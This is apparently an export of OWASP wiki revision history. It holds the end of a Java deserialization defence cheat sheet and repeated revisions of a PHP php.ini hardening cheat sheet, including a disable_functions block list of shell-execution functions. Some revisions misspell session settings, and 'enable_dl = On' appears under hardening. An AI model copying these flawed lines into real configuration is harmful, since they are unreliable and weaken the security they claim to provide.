Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238514</id>
		<title>PHP Configuration Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238514"/>
				<updated>2018-03-12T06:55:15Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= Introduction  =&lt;br /&gt;
&lt;br /&gt;
This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.&lt;br /&gt;
====&amp;lt;center&amp;gt;..: Work in Progress :..&amp;lt;/center&amp;gt;====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=Web Server Configuration=&lt;br /&gt;
==Apache==&lt;br /&gt;
===suPHP===&lt;br /&gt;
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.&lt;br /&gt;
&lt;br /&gt;
=PHP Configuration and Deployment=&lt;br /&gt;
==suhosin==&lt;br /&gt;
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP. &lt;br /&gt;
&lt;br /&gt;
==php.ini==&lt;br /&gt;
Note that some of following settings need to be adapted to your system, in particular &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/path/&amp;lt;/code&amp;gt; and &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/application/&amp;lt;/code&amp;gt;. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====PHP error handlling====&lt;br /&gt;
  expose_php              = Off&lt;br /&gt;
  error_reporting         = E_ALL&lt;br /&gt;
  display_errors          = Off&lt;br /&gt;
  display_startup_errors  = Off&lt;br /&gt;
  log_errors              = On&lt;br /&gt;
  error_log               = /valid_path/PHP-logs/php_error.log&lt;br /&gt;
  ignore_repeated_errors  = Off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.&lt;br /&gt;
&lt;br /&gt;
====PHP general settings====&lt;br /&gt;
  doc_root                = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  open_basedir            = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  include_path            = /path/PHP-pear/&lt;br /&gt;
  extension_dir           = /path/PHP-extensions/&lt;br /&gt;
  mime_magic.magicfile 	  = /path/PHP-magic.mime&lt;br /&gt;
  allow_url_fopen         = Off&lt;br /&gt;
  allow_url_include       = Off&lt;br /&gt;
  variables_order         = &amp;quot;GPSE&amp;quot;&lt;br /&gt;
  allow_webdav_methods    = Off&lt;br /&gt;
  register_globals        = Off&lt;br /&gt;
  safe_mode               = Off&lt;br /&gt;
  session.gc_maxlifetime  = 600&lt;br /&gt;
Allow_url_* prevents LFIs to be easily escalated to RFIs.&lt;br /&gt;
&lt;br /&gt;
====PHP file upload handling====&lt;br /&gt;
  file_uploads            = On&lt;br /&gt;
  upload_tmp_dir          = /path/PHP-uploads/&lt;br /&gt;
  upload_max_filesize     = 2M&lt;br /&gt;
  max_file_uploads        = 2&lt;br /&gt;
  &lt;br /&gt;
It's a good idea to turn it off, if your application is not using file uploads.&lt;br /&gt;
&lt;br /&gt;
====PHP executable handling====&lt;br /&gt;
  enable_dl               = On&lt;br /&gt;
  disable_functions       = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open&lt;br /&gt;
  disable_functions       = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file&lt;br /&gt;
  disable_functions       = chdir, mkdir, rmdir, chmod, rename&lt;br /&gt;
  disable_functions       = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo&lt;br /&gt;
    # see also: http://ir.php.net/features.safe-mode&lt;br /&gt;
  disable_classes         = &lt;br /&gt;
&lt;br /&gt;
These are dangerous PHP functions. You should disable all that you don't use. &lt;br /&gt;
&lt;br /&gt;
====PHP session handling====&lt;br /&gt;
  session.auto_start      = Off&lt;br /&gt;
  session.save_path       = /path/PHP-session/&lt;br /&gt;
  session.name            = myPHPSESSID&lt;br /&gt;
  session.hash_function   = 1&lt;br /&gt;
  session.hash_bits_per_character = 6&lt;br /&gt;
  session.use_trans_sid   = 0&lt;br /&gt;
  session.cookie_domain   = full.qualified.domain.name&lt;br /&gt;
  #session.cookie_path     = /application/path/&lt;br /&gt;
  session.cookie_lifetime = 0&lt;br /&gt;
  session.cookie_secure   = On&lt;br /&gt;
  session.cookie_httponly = 1&lt;br /&gt;
  session.use_only_cookies= 1&lt;br /&gt;
  session.cache_expire    = 30&lt;br /&gt;
  default_socket_timeout  = 60&lt;br /&gt;
&lt;br /&gt;
It is a good practice to change session.name to something new.&lt;br /&gt;
&lt;br /&gt;
====some more security paranoid checks====&lt;br /&gt;
  session.referer_check   = /application/path&lt;br /&gt;
  memory_limit            = 8M&lt;br /&gt;
  post_max_size           = 8M&lt;br /&gt;
  max_execution_time       = 60&lt;br /&gt;
  report_memleaks         = On&lt;br /&gt;
  track_errors            = Off&lt;br /&gt;
  html_errors             = Off&lt;br /&gt;
&lt;br /&gt;
====PHP Database Settings====&lt;br /&gt;
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}&lt;br /&gt;
&lt;br /&gt;
====PHP Database User====&lt;br /&gt;
{{TBD: explain pros&amp;amp;cons what to set in php.ini and/or httpd.conf and/or registry}}&lt;br /&gt;
&lt;br /&gt;
====PHP Windows specific Settings====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
====PHP Extension====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
= Related Cheat Sheets  =&lt;br /&gt;
&lt;br /&gt;
[[PHP_Security_Cheat_Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]&lt;br /&gt;
&lt;br /&gt;
--[[User:Achim|Achim]], 30. November 2012&lt;br /&gt;
&lt;br /&gt;
--[[User:Tony_Hsu_HsiangChih]]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238512</id>
		<title>PHP Configuration Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238512"/>
				<updated>2018-03-12T03:34:17Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= Introduction  =&lt;br /&gt;
&lt;br /&gt;
This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.&lt;br /&gt;
====&amp;lt;center&amp;gt;..: Work in Progress :..&amp;lt;/center&amp;gt;====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=Web Server Configuration=&lt;br /&gt;
==Apache==&lt;br /&gt;
===suPHP===&lt;br /&gt;
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.&lt;br /&gt;
&lt;br /&gt;
=PHP Configuration and Deployment=&lt;br /&gt;
==suhosin==&lt;br /&gt;
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP. &lt;br /&gt;
&lt;br /&gt;
==php.ini==&lt;br /&gt;
Note that some of following settings need to be adapted to your system, in particular &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/path/&amp;lt;/code&amp;gt; and &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/application/&amp;lt;/code&amp;gt;. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====PHP error handlling====&lt;br /&gt;
  expose_php              = Off&lt;br /&gt;
  error_reporting         = E_ALL&lt;br /&gt;
  display_errors          = Off&lt;br /&gt;
  display_startup_errors  = Off&lt;br /&gt;
  log_errors              = On&lt;br /&gt;
  error_log               = /valid_path/PHP-logs/php_error.log&lt;br /&gt;
  ignore_repeated_errors  = Off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.&lt;br /&gt;
&lt;br /&gt;
====PHP general settings====&lt;br /&gt;
  doc_root                = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  open_basedir            = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  include_path            = /path/PHP-pear/&lt;br /&gt;
  extension_dir           = /path/PHP-extensions/&lt;br /&gt;
  mime_magic.magicfile 	  = /path/PHP-magic.mime&lt;br /&gt;
  allow_url_fopen         = Off&lt;br /&gt;
  allow_url_include       = Off&lt;br /&gt;
  variables_order         = &amp;quot;GPSE&amp;quot;&lt;br /&gt;
  allow_webdav_methods    = Off&lt;br /&gt;
  register_globals        = Off&lt;br /&gt;
  safe_mode               = Off&lt;br /&gt;
  session.gc_maxlifetime  = 600&lt;br /&gt;
Allow_url_* prevents LFIs to be easily escalated to RFIs.&lt;br /&gt;
&lt;br /&gt;
====PHP file upload handling====&lt;br /&gt;
  file_uploads            = On&lt;br /&gt;
  upload_tmp_dir          = /path/PHP-uploads/&lt;br /&gt;
  upload_max_filesize     = 2M&lt;br /&gt;
  max_file_uploads        = 2&lt;br /&gt;
  &lt;br /&gt;
It's a good idea to turn it off, if your application is not using file uploads.&lt;br /&gt;
&lt;br /&gt;
====PHP executable handling====&lt;br /&gt;
  enable_dl               = On&lt;br /&gt;
  disable_functions       = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open&lt;br /&gt;
  disable_functions       = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file&lt;br /&gt;
  disable_functions       = chdir, mkdir, rmdir, chmod, rename&lt;br /&gt;
  disable_functions       = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo&lt;br /&gt;
    # see also: http://ir.php.net/features.safe-mode&lt;br /&gt;
  disable_classes         = &lt;br /&gt;
&lt;br /&gt;
These are dangerous PHP functions. You should disable all that you don't use. &lt;br /&gt;
&lt;br /&gt;
====PHP session handling====&lt;br /&gt;
  session.auto_start      = Off&lt;br /&gt;
  session.save_path       = /path/PHP-session/&lt;br /&gt;
  session.name            = myPHPSESSID&lt;br /&gt;
  session.hash_function   = 1&lt;br /&gt;
  session.hash_bits_per_character = 6&lt;br /&gt;
  session.user_trans_sid   = 0&lt;br /&gt;
  session.cookie_domain   = full.qualified.domain.name&lt;br /&gt;
  #session.cookie_path     = /application/path/&lt;br /&gt;
  session.cookie_lifetime = 0&lt;br /&gt;
  session.cookie_secure   = On&lt;br /&gt;
  session.cookie_httponly = 1&lt;br /&gt;
  session.user_only_cookies= 1&lt;br /&gt;
  session.cache_expire    = 30&lt;br /&gt;
  default_socket_timeout  = 60&lt;br /&gt;
&lt;br /&gt;
It is a good practice to change session.name to something new.&lt;br /&gt;
&lt;br /&gt;
====some more security paranoid checks====&lt;br /&gt;
  session.referer_check   = /application/path&lt;br /&gt;
  memory_limit            = 8M&lt;br /&gt;
  post_max_size           = 8M&lt;br /&gt;
  max_execution_time       = 60&lt;br /&gt;
  report_memleaks         = On&lt;br /&gt;
  track_errors            = Off&lt;br /&gt;
  html_errors             = Off&lt;br /&gt;
&lt;br /&gt;
====PHP Database Settings====&lt;br /&gt;
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}&lt;br /&gt;
&lt;br /&gt;
====PHP Database User====&lt;br /&gt;
{{TBD: explain pros&amp;amp;cons what to set in php.ini and/or httpd.conf and/or registry}}&lt;br /&gt;
&lt;br /&gt;
====PHP Windows specific Settings====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
====PHP Extension====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
= Related Cheat Sheets  =&lt;br /&gt;
&lt;br /&gt;
[[PHP_Security_Cheat_Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]&lt;br /&gt;
&lt;br /&gt;
--[[User:Achim|Achim]], 30. November 2012&lt;br /&gt;
&lt;br /&gt;
--[[User:Tony_Hsu_HsiangChih]]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238511</id>
		<title>PHP Configuration Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238511"/>
				<updated>2018-03-12T03:32:49Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: --User:Tony_Hsu_HsiangChih [mailto: hsiang_chih@yahoo.com]&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= Introduction  =&lt;br /&gt;
&lt;br /&gt;
This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.&lt;br /&gt;
====&amp;lt;center&amp;gt;..: Work in Progress :..&amp;lt;/center&amp;gt;====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=Web Server Configuration=&lt;br /&gt;
==Apache==&lt;br /&gt;
===suPHP===&lt;br /&gt;
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.&lt;br /&gt;
&lt;br /&gt;
=PHP Configuration and Deployment=&lt;br /&gt;
==suhosin==&lt;br /&gt;
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP. &lt;br /&gt;
&lt;br /&gt;
==php.ini==&lt;br /&gt;
Note that some of following settings need to be adapted to your system, in particular &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/path/&amp;lt;/code&amp;gt; and &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/application/&amp;lt;/code&amp;gt;. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====PHP error handlling====&lt;br /&gt;
  expose_php              = Off&lt;br /&gt;
  error_reporting         = E_ALL&lt;br /&gt;
  display_errors          = Off&lt;br /&gt;
  display_startup_errors  = Off&lt;br /&gt;
  log_errors              = On&lt;br /&gt;
  error_log               = /valid_path/PHP-logs/php_error.log&lt;br /&gt;
  ignore_repeated_errors  = Off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.&lt;br /&gt;
&lt;br /&gt;
====PHP general settings====&lt;br /&gt;
  doc_root                = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  open_basedir            = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  include_path            = /path/PHP-pear/&lt;br /&gt;
  extension_dir           = /path/PHP-extensions/&lt;br /&gt;
  mime_magic.magicfile 	  = /path/PHP-magic.mime&lt;br /&gt;
  allow_url_fopen         = Off&lt;br /&gt;
  allow_url_include       = Off&lt;br /&gt;
  variables_order         = &amp;quot;GPSE&amp;quot;&lt;br /&gt;
  allow_webdav_methods    = Off&lt;br /&gt;
  register_globals        = Off&lt;br /&gt;
  safe_mode               = Off&lt;br /&gt;
  session.gc_maxlifetime  = 600&lt;br /&gt;
Allow_url_* prevents LFIs to be easily escalated to RFIs.&lt;br /&gt;
&lt;br /&gt;
====PHP file upload handling====&lt;br /&gt;
  file_uploads            = On&lt;br /&gt;
  upload_tmp_dir          = /path/PHP-uploads/&lt;br /&gt;
  upload_max_filesize     = 2M&lt;br /&gt;
  max_file_uploads        = 2&lt;br /&gt;
  &lt;br /&gt;
It's a good idea to turn it off, if your application is not using file uploads.&lt;br /&gt;
&lt;br /&gt;
====PHP executable handling====&lt;br /&gt;
  enable_dl               = On&lt;br /&gt;
  disable_functions       = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open&lt;br /&gt;
  disable_functions       = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file&lt;br /&gt;
  disable_functions       = chdir, mkdir, rmdir, chmod, rename&lt;br /&gt;
  disable_functions       = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo&lt;br /&gt;
    # see also: http://ir.php.net/features.safe-mode&lt;br /&gt;
  disable_classes         = &lt;br /&gt;
&lt;br /&gt;
These are dangerous PHP functions. You should disable all that you don't use. &lt;br /&gt;
&lt;br /&gt;
====PHP session handling====&lt;br /&gt;
  session.auto_start      = Off&lt;br /&gt;
  session.save_path       = /path/PHP-session/&lt;br /&gt;
  session.name            = myPHPSESSID&lt;br /&gt;
  session.hash_function   = 1&lt;br /&gt;
  session.hash_bits_per_character = 6&lt;br /&gt;
  session.user_trans_sid   = 0&lt;br /&gt;
  session.cookie_domain   = full.qualified.domain.name&lt;br /&gt;
  #session.cookie_path     = /application/path/&lt;br /&gt;
  session.cookie_lifetime = 0&lt;br /&gt;
  session.cookie_secure   = On&lt;br /&gt;
  session.cookie_httponly = 1&lt;br /&gt;
  session.user_only_cookies= 1&lt;br /&gt;
  session.cache_expire    = 30&lt;br /&gt;
  default_socket_timeout  = 60&lt;br /&gt;
&lt;br /&gt;
It is a good practice to change session.name to something new.&lt;br /&gt;
&lt;br /&gt;
====some more security paranoid checks====&lt;br /&gt;
  session.referer_check   = /application/path&lt;br /&gt;
  memory_limit            = 8M&lt;br /&gt;
  post_max_size           = 8M&lt;br /&gt;
  max_execution_time       = 60&lt;br /&gt;
  report_memleaks         = On&lt;br /&gt;
  track_errors            = Off&lt;br /&gt;
  html_errors             = Off&lt;br /&gt;
&lt;br /&gt;
====PHP Database Settings====&lt;br /&gt;
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}&lt;br /&gt;
&lt;br /&gt;
====PHP Database User====&lt;br /&gt;
{{TBD: explain pros&amp;amp;cons what to set in php.ini and/or httpd.conf and/or registry}}&lt;br /&gt;
&lt;br /&gt;
====PHP Windows specific Settings====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
====PHP Extension====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
= Related Cheat Sheets  =&lt;br /&gt;
&lt;br /&gt;
[[PHP_Security_Cheat_Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]&lt;br /&gt;
&lt;br /&gt;
--[[User:Achim|Achim]], 30. November 2012&lt;br /&gt;
&lt;br /&gt;
--[[User:Tony_Hsu_HsiangChih]] [mailto: hsiang_chih@yahoo.com]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238510</id>
		<title>PHP Configuration Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238510"/>
				<updated>2018-03-12T03:30:23Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: session.gc_maxlifetime  = 600&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= Introduction  =&lt;br /&gt;
&lt;br /&gt;
This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.&lt;br /&gt;
====&amp;lt;center&amp;gt;..: Work in Progress :..&amp;lt;/center&amp;gt;====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=Web Server Configuration=&lt;br /&gt;
==Apache==&lt;br /&gt;
===suPHP===&lt;br /&gt;
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.&lt;br /&gt;
&lt;br /&gt;
=PHP Configuration and Deployment=&lt;br /&gt;
==suhosin==&lt;br /&gt;
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP. &lt;br /&gt;
&lt;br /&gt;
==php.ini==&lt;br /&gt;
